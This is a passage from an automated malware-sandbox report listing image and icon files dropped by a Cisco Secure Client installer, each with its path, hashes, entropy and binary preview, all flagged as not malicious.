Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx...\|....O..ZY.Z..!XT* ..,.%...n.R...R.,..)....Vy+..[+..DmA.l).&i.Xi!.XwB.....c....o.;...;..<.L2....<.l..{.9..s(.d..#3;....5...}....]#i.On.....F..G,O&}.]..m.l..rN.k.Jm}Me[...n........Lwe:...f.}`.k7]8......D........v.'(....t.E...^.v......n.....HO";.{.l.2...DX.6._.../.'.=.'9.#....9=... .z....-.>p..~..G......:H..=v...SV.....>..K...w....PYI.....G.mx+2;]az...\|...>{...............m.j...'x.........n......q..T.9.ew........j'...W..D....-......6)....N2k.,z...+......0..z.x.......z.&./..?..;.0;..+....7Zg.w...B.Y..qD.....9..G.......9~........S...O..._TTT...Qy\[.(..#c.k......<..]k.^.c.Lv".5H... e...D./N'.E..tJ....TO.L?A......'..n.../.....).vwA.bgRS..m.....+.m]~P'8.m.......p.t..a.=....Y.I...$..nO..$....~......m.7..........P.$g.......#.a.>c......;...Y...\.\|7.]...S.z..C....=..c.f.2{\..g.h8..v@(....4.....e..fj..Q..{.E.'..../j?\|.v..]s...R.......:..;.t.8....'.....x5..#...C..djj..U...8...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-GPU1T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.612237043911612
Encrypted:	false
SSDEEP:	96:SPEyydQzC5enoYfFMdIDhjdmrEEN4kbGg2o:SFS5eno4FMyADNHx
MD5:	CAE552335F760EE1FF87D686F972BEB8
SHA1:	676A5070DDD6218C274FE01608754D06E735558A
SHA-256:	615057C1B8C472DDF3D6B48284DB764F3F4FE8A159FD479B96C401D0BEE82674
SHA-512:	876B7077A8DF9C900BCF1CF8D5AF98A3B84A7D31412DEE05CAF76ACA215B771EFD5CD5E8225175E822BCE24239A57F841D1DDF633B3C68599D0C401AA98BBDF9
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ..............................................................@...@...@...@...@...@...@...@...@...@...@...@...@...@...........................................................................@...s...s...s...s...s...s...s...s...s...s...s...s...@.....................................................................P.....@...s...s...s...s...s...s...s...s...s...s...s...s...@.........P.................................................................@...s...s...s...s...s...s...s...s...s...s...s...s...@......................................................................X5...@...s...s...s...s...s...s...s...s...s...s...s...s...@..X5...........................................................xh.M'..M'...@...s...s...s...s...s...s...s...s...s...s...s...s...@..M'..M'...xh..............................................xh.M'..M'.......@...s...s...s...s...s...s...s...s...s...s...s...s...@..z]J.M'..M'...xh................................P........M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-GRMUB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	28939
Entropy (8bit):	7.960017526195935
Encrypted:	false
SSDEEP:	768:OkJC2FKvbdu0G3091/3+WVlQkJyE3MNLc37Wr65:FCQmc0390W0kT8ll8
MD5:	B52EAA7318111371B2B8EF3425AD4405
SHA1:	DB16F9570B55F8045FE8354ACC853655791557AA
SHA-256:	C33C036B94E3BD83D393E552CE87784BA9F74D2B8563162024DAF7ED05E7EF6D
SHA-512:	AA98F3130A76BCD5FAF093886472F1A937E93AD0A8E83C00F9675C14C7AFC5DF903C52DE64FBAD6012F5DF54A1DB56759481BA8516C0DB0A851B6BE87FD13DFF
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx..Mh]W.........CH..#...5.R.R..h$...'e.Cj.T.g....G...Z..v.aB..w..K.I..E.).....d..."]g...P.l.u..>{.?....@..u.>.......g=.....\|.:D..~.........\|(...q[.g.d.......~..9r.w...'...pnn.P..D$.xx(?..K"..r..9.I.....L.t.9.A\B.D.....^&...e.'.._Bk..M....$\|....?....k=...:...N..N..{2..a/~.UO..t...'cuu....~.....zB*......IHS.T9!......\|.. q.?}......].M,u.\|i.90.<.s;y.Q.'..#..FH..3tP.:.i.]6...a.I0'.J...Rt2.!..I.c.}Q.'cyy.R.'uF...j..Sxy.u..}F..{D..H2G...1.`.R.......:..g.}D.Y....y..O=....7\|`..].Eg..4.&.....[mzd.9.e......{.}.;.e'`u.sB..M...;#}.I.%R......Dd=.z..#.Q...;..j.E...;...o...b.D.p.v..I.L.\"i.\2.GD."G..ti....ui..W.........p.....sS+j...A..........]/F...ybst...4}!.....d.i.....,.M.Y..../.v.......Q...He....DM.;V.&:^......D.ka.l....^.....{...L......F........=...yB..U.#.QwD.<!....5.ZO...0yB^.........K#L...^.]....(.R.X.d.+.'y?..d."T:OH..s...J?{E\|.....;....)....o.=.:+ZUp..H{{{......F.;[.8...H......

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-H9D70.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9736
Entropy (8bit):	7.95835565935799
Encrypted:	false
SSDEEP:	192:uGw9FbNic2CTLMZgb0OeuEqR0+zipNb19+MUs2b4uLbFv7MLlELHz5FijB:uZ95jOAdE+0+mpNB9dObfR4LiLHz5QjB
MD5:	64C1592AB32B98889AFDB7F216B3A535
SHA1:	9DA1BF63D0E9CCF65BA0C72E615099AD30DDB2EB
SHA-256:	B649B2B24F635758C6B424EBADA07097ABB56CE73E46F056268004D79575AA8F
SHA-512:	CA8376AEB64FE49CE253BEE7F949AEBFDB6C1EAD6270C739B09751CEEA313407F7AABBA7388E4ABFA53A48A322D827EF6D4FF1D458C3FB815239407646D53C84
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx......}....j'.b.A...H.8B.p....IXM.Q....db..D...!.#aI..J.h..M"k?...k..t.......+!j...T7.N.y9.r........o..e......{.....?...B..\i...... ........T...u ~.h...J.4..%"..k.^...O.....".....v...+7...........M....J.z....E..(...0M+.S.R"._.2.Y..h...J.+J.+..@..-5....T.......E+.4WZG)q.H...k.]..\|C...,.P.O9.72{.......]y.....}J.:Dd;C.\|@..8J.....rEh.......c..\|?......A.D}....J.[...<E.C)y.....J.A.. i...&8.3y...t.x.9bx .6......W..&......zV^9......e..VFPA..$..b...4q.L...&..R.....7.....aK..A...........6%V....=A.f.2$Ve.ue={.8....#.....7..V.P..FE9..#> ..OuDj...ME..........+](Z).\i]...H#....>E....Npb..>+;....X.....z6...E+aT..L.U.."5..YtS...l[....'..u..qsV.k..h%DM..(l...u.5.e.YN.H.'&.C......Qbu.....EA.....l......!.Um......Q....n.b..l{t.<.+l..B{.W.P.".E..V,..._.@....... X.Y6F......}i..j.rUY.@'v \k7<.&.b....V..+....-Vn..g..X.d\.ak..K...U.@...ZToS...........,8np.....l..G.P.\|.r.MA.B)V..."....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-HAIRD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2465
Entropy (8bit):	7.9078675566370515
Encrypted:	false
SSDEEP:	48:OSjMqJt67atsaB2Q95MFMQQYs/7uI2/D8:OSd+7OsTQTuQYszIb8
MD5:	161092451DAE50221183377F7CFB560E
SHA1:	2884EE1CAD503614512FAF274C3E0AC209F9201B
SHA-256:	8CB267EF7B475567CF0A347A4E99CC533102789A966B7285A7733FD8E4FBDE47
SHA-512:	0BD327894C7A1AFC5AF1B3CD1D678370C568DF1A06A32408B4A4A3047A846657EDC09A1A0E094565EF4004DF6FEE3FBF0A2885FE0279F4920CB91FBE1D897B14
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~....SIDATx..\.l.U...d..v..P(t[..DDJ....-..."...5....1T.Q"i..?.....jK..ZS....) ...6........s...e.3o...........s..{.r... ..2.(.o}\|..."...6l..]n....y..t".ID.D...l..ql;vt.y...u\g..:..+{......I5DT..5.t...!....8)K.:RS..!..-...S.0....e[..8Y...E)A......H...y.yL%.uU..S].>AV.'.\%QJ..&..)z...s.U\|.!...i..5....e. .?.S#.t....#..m...ol.D.7..CM..B.WM%\|.L...E.)..P..6...A.V.d. .?....T3oF.=...JJL.qI....C.{..v..W.}.PS..........#........n%=.`.]}.._H...S..l.eL.5.9..;...x.....!).....T...q.....<.VU...n..J....i....g.{.m2$.61.9.....I..&7k..\|.'m5s.).]...7....`n$.$C.....X!)....a......9..q...0......$..9.....A......!m...:.{.....T..LZ.....&\|.H...A.0..8.O....?".,..N.V..._6R...X`.w...gx.5U....I..OIV.J...z.i.H..k...\..U.. >}..A`yi...Ct.y..8..#@Q8.'&.KK.D0y...2..i..$....Q...."j.....[Fg..0....,(9o.".8]S.#.9"ZSY.....Dtu_..ZO...G.9f.".(.$M.t+...e9&...L..NDk....$......\|.l~..O`.....G...'.,`.D3....\.g.VEqQ."..C..,.9..M.y..~."..A.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-HK3UP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 375 x 23, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	700
Entropy (8bit):	6.305816801627044
Encrypted:	false
SSDEEP:	12:6v/7B0J+UJbp92cDPuY1qHlnv/pebLaeb9Lf43DQ6TjpuIXG13DQ6i5t2c:0erLYWuqylnv/pe3aO9KDUIXO3D+/
MD5:	894AB8F4298F2238292E31BAB5CCAB10
SHA1:	FCFC29B4E5BAC3C59EDA1F8837087E768F7B0A7B
SHA-256:	7C8B5EC8C7DE5405AAEE5B1E92C605020424AED8AF830C2429ED47883561A39D
SHA-512:	B7F06E961C2C2BAC0EFC5633E213D90E3206093593988BD04CE84DA13B1D1B4F0B83DEB77FF247E6681A645004FD37C2866FF83EB7A6A5E3E581B0868AB58C3E
Malicious:	false
Preview:	.PNG........IHDR...w..........C......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<...YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>.L.'Y....IDATx...... ..A.............. @.@J...C...._..+.......=.T... `.u....A...\|.H...0.:@.....q.>U$....w. @.@P....*........ @ (`.O......]... ..0....D.............SE"@..q........{.". @..........=.T... `.u....A...\|.H...0.:@............X~....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-I018J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	10710
Entropy (8bit):	7.9641316394298025
Encrypted:	false
SSDEEP:	192:Aowo3FbryCXdxyG2En+b5eUJf1Q6pPZ3LxElBt/wVUuv04YKmECa:AowqbrvX3h1+b5eMdQDY3v0da
MD5:	5412237E7D26A5CB2F3F8891B9E36462
SHA1:	778ABA750AFD4D5518A5B7EDE1F73E7A016883C8
SHA-256:	288C513CA8875B4BC5DB6144D0C4215680F5BF3385DF05D6A8EC2896587DB6D3
SHA-512:	BAC0482951830571BDAF8A1FF0C23B3EB1C6AFB72C46628150EAEE2CD99167FEBE9A74DCAA2F2DAEDA5B58856BA7A9378880A7EB0B5D834D31EA91D3010B41F8
Malicious:	false
Preview:	.PNG........IHDR.............._......pHYs...#...#.x.?v.. .IDATx..]{..U._<..Th.CK=..R..V.GOWH.G3"8.5L.....;b............3.:S....s=....G].vX.w....W....Z?.^{..k..{.........w}...%y`...]...B6..........K.S..j.G."..?>.c..~../(/&}................p..B~..7...t.\... .j......,.......;.]M......`.o.p..?...98.c.%.6.....g...&.............;..F..!.fL%/.j@:.`.o....5_.b2...5\|h...UoI/....W..W...}.....<.<\0.p.N.,Y......M...KI.O"C.x.}$.....=.V...E.........HT....Ep.m.~.[(....Y.f.'g*_...NG..S....m.2.<..[.(G.m..[.1....S........\|...[.o.#eW....F.-.a.+...^.Rp...L.ue.<+./.......?..Lke.b.r.....V..G...$..6.]:.s...+..F...#O....=Y.;..g..l..,c....DWw.hB....B..l...`..;".wV.#..{.q.........v.].Z..C...T.`.-}M#...........{.(t.E.Om. ..=My..V...4.\.Ep.........W.)..x.W..f..7{.IG..-.....Z..{.l..F.,..f^r...V.9..H../.....$.&>..U...Msx.68.....S{...Z....v..v....O,.ps2E.......>..M_.........6H.hl.;Q.d....h.H...V..W...iH..{..2Q.zmp..;.Z~].c.!.Y.}.6.P......^kC..t...V.0.^.l.NMp..o..Y.8...Q

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-IOCU7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.90204028759812
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTuU1G4X0vy:TSDS0tKg9E05TuGG4k6
MD5:	4D8816B117672123F84ECD051877A37D
SHA1:	C9983DE5E4DD52660A109C418DBDA7B7F202E2E8
SHA-256:	3D2A9058537240F9131F6A8D083A6723A0D45E31BF2BBA4EA761DE23948C8209
SHA-512:	63395803D1BED8B33E1854D6EC5EEF2322FFE69B5150CF414692D7AE8003ABA601FB283C8CB661ED4AD633B4ACF945AADC579A84910441963F8EE801D0CEB447
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-J2E2U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5803
Entropy (8bit):	7.950077949239442
Encrypted:	false
SSDEEP:	96:eRHNludLinPdADSlBP/5X48lHE6uXPk1HFlQ0vmHSQON0hYRGRkA3rGWjrXM:UHNludLjM/FvhE8FlRRJG1r5jA
MD5:	1F00D2A16D3C303C76359276E6983553
SHA1:	9B58E65D2A01B1E55173370BBED7CFFB72C683D2
SHA-256:	F70F49DED3EB450D26AABC8F71AE8C1BF63D2C01A1C55C6A19E010FAD602011E
SHA-512:	C65A78144AB84A68DEFAB93704D20AB177E2BB82138FCD47171289D164F938D7D9620AEB22ABE234CDC79DE2CB28AF1A2B780845D873409DF0B89A60C34D425F
Malicious:	false
Preview:	.PNG........IHDR..............>a.....pHYs...........~....]IDATx..]{l[.y..."-?r...:.e'K..).9.R...%h.......0..m.?.y[.a. ...x.C.6t.......N.u3.......FJ.d..Dt.%.._.%>..;<7.)..;..R...@K...=.\|..}.\|..h..6.h.....U2.(......c.g...<..c.1@L..[....D"....F.4..3..MM.h.N.....9-..U..e.... .."...Ad.....>'..lF......d.0.8....4E+..O..i.V<.....5==m5.x..w.......8^.b<JD.H.....&''.Fp'./....>.6.z...MO....T.2D....}E.e...6. .I.z....fffZ..u.>...DL.1....acW.0.2....U.{.........W.c..!%W0W=. .......U.0F.U...e....B..b.......c.Z...JW.\.... D.#.....h4.H...W.5F.w..;'~..o."...%..l.....\|.#.w.......~"....H.^V.f2.f.x<.7GGGk..u."....?...1....}.3.......d2..L.\|C...k...>.wo9.b/.p.r.. k....r`.2).m.u.8.3$.I.....$=..@3. a.f<.J...A...E./$.8.4MY....u.Sh.#.1..,A..?.BR2.g....h4.......2......S4.2..S&....!.....B.J........d..........n.}w.0..]...t.5.x............Z.s_B.Y....f...?..A!..!.&#.&...\|C!GV>K..z.jh.U_..x..n2@.4............0J../...Y.sD..I7.7F.........kKD..@l....">.. .g..K\|..\|./.1...&@.A.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-JHFVJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3881
Entropy (8bit):	6.749191813135782
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBQgI+P:iXHt+JcNgOSiS4XsAYNpf2ESNtgB
MD5:	C09256A999756AFFAE49A6E4346D910C
SHA1:	95158F9717019700B626D2A675F17C50853E436E
SHA-256:	D2913B404D604DD9F61952E0539DA5FCD742FC7E87F30CCC4263303DEC5F43B0
SHA-512:	D2DD40D4A8FBFEC4DFB2EF285880F103CB50D0AB461731915C15D8A4061E77C70513658419FF72925D90741FBD75079899E5293A107B7361B2142358534C94EA
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-JJCJ6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 8 bits/pixel, 32x32, 24 bits/pixel
Category:	dropped
Size (bytes):	5494
Entropy (8bit):	1.0422788649872297
Encrypted:	false
SSDEEP:	12:xh4r3rEO9SEEEEEEEEE2888888888Bsff:xKfgH
MD5:	B4FE215E5858B187A041DEABB2E1CB04
SHA1:	E8F16887E8BFFF243EB1AEAAF21B382CD0DFD9EE
SHA-256:	9FC38B41A0D11FF64348F0E125692091D478E6E4F1C368A4E01863D49F87BB87
SHA-512:	371FEA20A067929B21543490CE56C370BE8477B40630D2EE0BA613FE91A485D083DCB0FE4B0E76465576935F0311CC65832B48B3487F5C2B83ABB4E8B9AB4270
Malicious:	false
Preview:	...... ..........&... ..............(... ...@...................................BBB.XXX.cbc.nmn.yxx...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-K8OCL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2531
Entropy (8bit):	7.8827223365027725
Encrypted:	false
SSDEEP:	48:PajMqdGnKe/dujhrZicEFhViZIs2sJ69y+10zTECChhrHxgpj:PaIqcnKeKZHg7by+ezTLUhrR+j
MD5:	2EA165B23D882176DAAD7C368EE24642
SHA1:	A46B746D76A41D4B322552BE4D66E9FAC66D7C19
SHA-256:	5B0F218A1EDB9CE79C15E8278557CCDB8AF44EAD52B4149CBC27DEF6FFE38619
SHA-512:	7C6C1F9FBDB726AF81551CB2CB790B847904E10AB90923A8FA43C34D617FD4A7F4B0A6FC85D327FA140D8C42197213F2A2BBB4643C16A1FC7DF17C1AF1E674FC
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx..\ol.E....)....{.i#.A .lbi..~.E.......M!..E.M..m.......L../=...TJ...4..@9.....O.E...fz.{..3.G5.%....y.y.....=.a..e.D4.....\|.C7....3x..w.....NP(ZVHD5DTMD....sg....E.......+..........ImD.:...3...BP(Z....).(.4A..`.....l..AT.....K@..$Y.~..+A..5...H.\4..V/.Z.'.]{..P.."._...'Q..d%.....j.\...."..E..nS..+Q....e0..".1o...-....d{."..i.`.....$.......q...i...Q.6.R...V.j..A.h...>h..'.....)?/.@$.q..u.y'.....6-..wv{.Q../..e/..7.y..wl~.^....;6tWHp..TY..JK..........G/...{"..A.....E9...i..~.....Z@.....zs..t.&;.=..M..C....3)7..z.m.\|.'.N.{iiP&.9...m=....L.....ar5.O...&e.} S..~j......>....8..=0v. ..f).#....UC...9..Q....}h8I.R.HI..s....F.6.....v..O^.EhSP.,R&!....N.. ....{...s..$L.....I2... ........C.......Dt........2BV).0.#H.[....@..M.jO:....(S/.v.f.A..bo.t....\|M..Z.2BVijk..'.$...n...BP.r..<@KB*.R.....A..6..2.d...:..Y5..F..0...b.;.D....p...=..;v.hgK..o.Iu.... ..R.U.....c...9....xi.TW..`.....~...N.".A...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-KFKLQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51094
Entropy (8bit):	7.977081753425093
Encrypted:	false
SSDEEP:	1536:UoAL5K723jk6waeSXMFYcQotAtZJqyGlOk6bAfb1:Uv5YAjkCeS8u6tAnwwTbe1
MD5:	BBD0533637DA4102A6DC250FB20D6FA7
SHA1:	B78DC64053313A61F3C25550D17C2700923B1EF0
SHA-256:	C4D28DB251B9D72B2EF84EB9774F028FFDB65E432451E79E50D51A497D8196B9
SHA-512:	A3B17D20439BE297AD034827FD5B9EC40DB2D3B597D76431F29AE4C72C2647546DAB7696A05B3007C6796862CA67F7EDD41D8826C0D41BB55139A1D58CE23C46
Malicious:	false
Preview:	.PNG........IHDR..............x......pHYs..........+.... .IDATx..wx.U...wf.{O $$..z.".J.......YEEE..." .TAd..^BM..RH.}2...dw...U.....=.;...{.....s.=...D".8.Eq....._....#......u)..X..T.....@.......7....(...\|......7...r~.U.... ..7.(.B...X.B.@".PCo....@...`...8...8w.r..w.. ...b...IB..9.$...H$.d.E..._.{.>@.o.}5 .\|U^....~..<.....;..@..'.P.H.. .X......u...+..:..r.......p...M.."K.I"...Dbn#......@..o.~..sv...;..p.......T!D.T.D"......_U....<.........$.C....$ ........B..T.D".....3..T)_.?.t(_..be..\|g.H.Cp.H.....D:.....x....D.5...o...".............R5...H$.o.5@.P...~'.%................Z...t.$..0..@..........%...U..\......R-...H$.c..........G..I.H....o.l....L.B.K.H.. .X........'..>..Db(y.m..~......t.$..3.....[.=...s.K$.......N...(.j.H.@"1...@..7..6..o*]I..n.?.X...BdK.H.. .......k.<.~..EjFb..?"....be.#.t.$..n...'.q@C.\|.R3.+..}..U`.pR..J.. ..o..>)O...Db.....JxQ..H.. ....k.~..;...'..Hl...L.G....]&..H.@RY........r./....?....B.\...t.$.n.]...x.Y.B.V$.........B.I.H

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-KHKFS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3226 x 2235, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	75452
Entropy (8bit):	6.447447333863436
Encrypted:	false
SSDEEP:	1536:i6ORO3YabolewEiM0aJqCrvbURQDEb6b/4:ik3dolewM0agCrImD3w
MD5:	9C6F8BF269230734B04A82F610B9B912
SHA1:	2B81B2C45C94CA29330ED0223F21928BEAA66A3D
SHA-256:	3A5C49B91E68BE97E158E7A35C54996C45F1E9E8432927AF476D5F85BCF7B67E
SHA-512:	4F24CAD91616F50E1C28E0D44C66B0F6E6C89F38E9A07B81C43810862F3E76E77D897D6B06BB7CD2FEFDFC1E01011FA1CEBCDF2E6E53F347E98B9CEF7FCBF1C9
Malicious:	false
Preview:	.PNG........IHDR...............k.....pHYs...#...#.x.?v.. .IDATx.....H.(Z.1.<....C{@{..\..-...X.....<.....,5.!)..2S.x(.^k.LS.P....4..................................................................................................................%Y.]"".......c.K. ..X.rH'./.5.#...]..........O.S...2..s:...}P.%B. ....Y.P....@.....0.......,.(.da@. ....Y.P....@.....0.......,.(.da@. ..JG.W....w.$...^.o\|.[..\.G..=.........k....#..SJ...nm..h..O7%c.2....)....hh.;.Z...e^...c.a.q.,....{.oe...Q..a5g..^.6e^...#B.k..a/%..{aL....0.......,.(.da@. ....Y.P....@.....0.....e..o.{..+".L...wg..~i..PN0......-..z.Z.Yg)..1........m..7...r.Gw..7.$..N.0..sW......d@...4..i...P.@D\|;5?t0.+........P....@.....0.......,.(.da@. ....Y.P....@.....0..../...7.....kW...i..T...6..F..A#+..s.......(.`....V.-Z.kCI..>.PN.....eE;.?ou.N...}.k7..\........R.X...w.....}_...#.\|..s^....&..z....Z.....8.d)`..9kY.. ....Y.P....@.....0.......,.(..9.n.np....y{W..\.....N0p.j .4.'..&................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-LDUBD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	26026
Entropy (8bit):	7.927985837095832
Encrypted:	false
SSDEEP:	768:TKQua9HUsr5RRxO5oEt9jwIZmYCEHme0KV:+Xa9RLxO5o29jNGEGk
MD5:	5DC7A6BEE91DE8331C802B1647F5AD10
SHA1:	D9F8150235EF917E6884AA963C292530AE7ED599
SHA-256:	4D9B3A95A941BD32E42171770195872958DB56A6C2CB6FAE664500E947911149
SHA-512:	BC32B66AD44C88DB95995B08A4A2E7D420035CC02318756AD10F854B884B613C8CEE3017E7708B7E4865B06961B7292CBD91B3091B0BC61889A71A06C5A17E98
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx.._l.G....ZF.0..4...R...z.G..i/z.6.,...eE.!..s.(...0.E...{0.~.........$.2f...^J.....7.-.1nR'....\K...0.2..Ak.._....Y..""#"...&U&..."...._...-.....e..n..7.....m.Di.O...o`{[......y..6.>1..P.....D.'..z]..Q.2.u..^lll.. /...E..h..2..j.j..j\|.c.......X&.h.".N..k%...c...L.........e.....j6...[....D....9^"....K..}}}.Dt2..g<..'B.I.....[q....d.:..OB.4'%..I{7.y"..~... q.?iLw..q.[..+...y".8.q.Z%}}}.D....{<.3'"...i6.\|.I\|..NF.eo....D.t;!..G.....s.DP.c.+=v.'......'B....x.+..A....M...3..O..-@...;.J...U!.t.D.itexw"..G?....gE.;.^...4.C...E.I6.I..U!.gLCC....kT.....'E...;j.V..E..f$........+.*."$.n.n"..!.S..."...$y..F.....+.afff...}rHZ`3$.d.Xs4%.'c..g@0;;K.D..w......pee....7...z.2FGGc.''.T.>l....^g>...............R...ty/...o.....,...~.m9p....r.3.~...1......$1....Y...X.-:.HJ..v...N.C........pR...YL...............6.t......)O...sQ.._.g..y..I.....z.w..X..b{..t.2.\/n.n.d'..k...6...F.\|.\|...].-.N..N..q..".......l..%

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-MCLVM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 1024 x 365, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16443
Entropy (8bit):	7.760065707691873
Encrypted:	false
SSDEEP:	384:lqb0tEZvDwb6EjHGVbAxe76N2Tuzy8xvyu6:lY02FP8nsUxvyu6
MD5:	E786715A35FEB88334AA7FAA35F70248
SHA1:	2BB7D79511CA0099549DAA71263909D61789B54D
